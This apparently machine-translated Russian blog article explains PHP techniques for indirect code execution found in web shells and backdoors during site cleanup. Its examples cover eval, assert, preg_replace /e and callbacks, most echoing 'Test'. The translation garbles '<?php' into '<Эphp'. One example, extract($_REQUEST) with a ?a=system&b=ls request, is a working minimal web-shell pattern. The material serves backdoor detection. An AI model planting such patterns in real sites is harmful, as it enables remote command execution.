Методы Неявного Вызова Php-Кода, Используемого Во Вредоносных Скриптах

В процессе лечения сайтов обнаруживается множество типов хакерских оболочек и бэкдоров.

Скрипты различаются функционалом и способом обфускации исходного кода, но все они имеют общую особенность — неявное объявление переменных и функций, а также косвенный вызов функций.

Такой подход популярен среди разработчиков вредоносного кода, поскольку, с одной стороны, существенно усложняет анализ исходного кода, а с другой – позволяет хранить код в текстовых данных.

Например, часть вредоносного кода может быть загружена со стороннего сайта, из базы данных, метаданных jpeg/png/gif или передана в запросе к скрипту.

Кроме того, часть кода, представленная в виде простой текстовой строки, может быть легко зашифрована.

Кстати, эти же приемы используются веб-разработчиками в мирных целях в скриптах проверки лицензионных ключей и регистрации веб-приложений, чтобы затруднить взлом программных продуктов.

Несмотря на все разнообразие вредоносного кода, вариантов объявления и косвенного вызова функций не так много.

Ниже приведены примеры различных методов вызова скрытого кода.

Для простоты и наглядности представим «вредоносный код» вызовом

  
  
  
  
  
  
  
  
  
   

echo "Test"

который отображает на странице слово «Тест».

Естественно, в реальных шеллах и бэкдорах имена переменных и функций, а также исполняемый код не хранятся в открытом виде и в большинстве случаев запутываются.

Вариант 1: Косвенный вызов функции

<Эphp $a = "var_dump"; $b = "Test"; $a($b); ?>

Вариант 2. Выполнить код через eval

<Эphp eval('$a = "Test"; echo $a;'); ?>

Вариант 3: выполнить код через утверждение

<Эphp assert('print("Test")'); ?>

Вариант 4. Выполнение кода через array_map

<Эphp function evil($a) { echo $a; } array_map('evil', array("Test")); ?>

Вариант 5: выполнение кода через preg_replace('/.

*/e')

<Эphp preg_replace('/.

*/e', 'print("Test")', ''); ?>

Вариант 6. Выполнить код через preg_replace_callback

<Эphp $a = function () { echo "Test"; }; preg_replace_callback('/.

*/', $a, ''); ?>

Вариант 7: выполнение кода через usort, uasort, uksort

<Эphp $a = function ($x, $y) { echo "Test"; }; $b = array(1 => '1', 2 => '2'); usort( $b, $a); ?>

Вариант 8: Скрытое объявление функций и передача параметров через экстракт

<Эphp extract($_REQUEST); $a($b); ?>

На старте site.ru/script.phpЭa=system&b=ls выполнит системную функцию system("ls") Вариант 9: через регистрацию функции завершения (вы можете использовать exit() или die() для немедленного выполнения)

<Эphp register_shutdown_function(create_function('', "echo 'Test';")); ?>

Тот же подход можно использовать со всеми вызовами, которые принимают вызываемую функцию в качестве аргумента: call_user_func_array(), call_user_func(), front_static_call_array, front_static_call(), Register_tick_function().

Хоть мы и не видели вызовов через эти функции в реальных шеллах и бэкдорах, обычно используются варианты с 1 по 8. В реальных бэкдорах перечисленные параметры используются в совокупности, а сами объявления переменных и функций часто выносятся за пределы скрипта (например, загружаются из базы данных, с удаленного сервера или из метаданных изображения).

Теги: #php #бэкдор #shell #ревизия #обфускация #информационная безопасность #разработка сайтов

Вместе с данным постом часто просматривают:

Автор Статьи


Зарегистрирован: 2019-12-10 15:07:06
Баллов опыта: 0
Всего постов на сайте: 0
Всего комментарий на сайте: 0
Dima Manisha

Dima Manisha

Эксперт Wmlog. Профессиональный веб-мастер, SEO-специалист, дизайнер, маркетолог и интернет-предприниматель.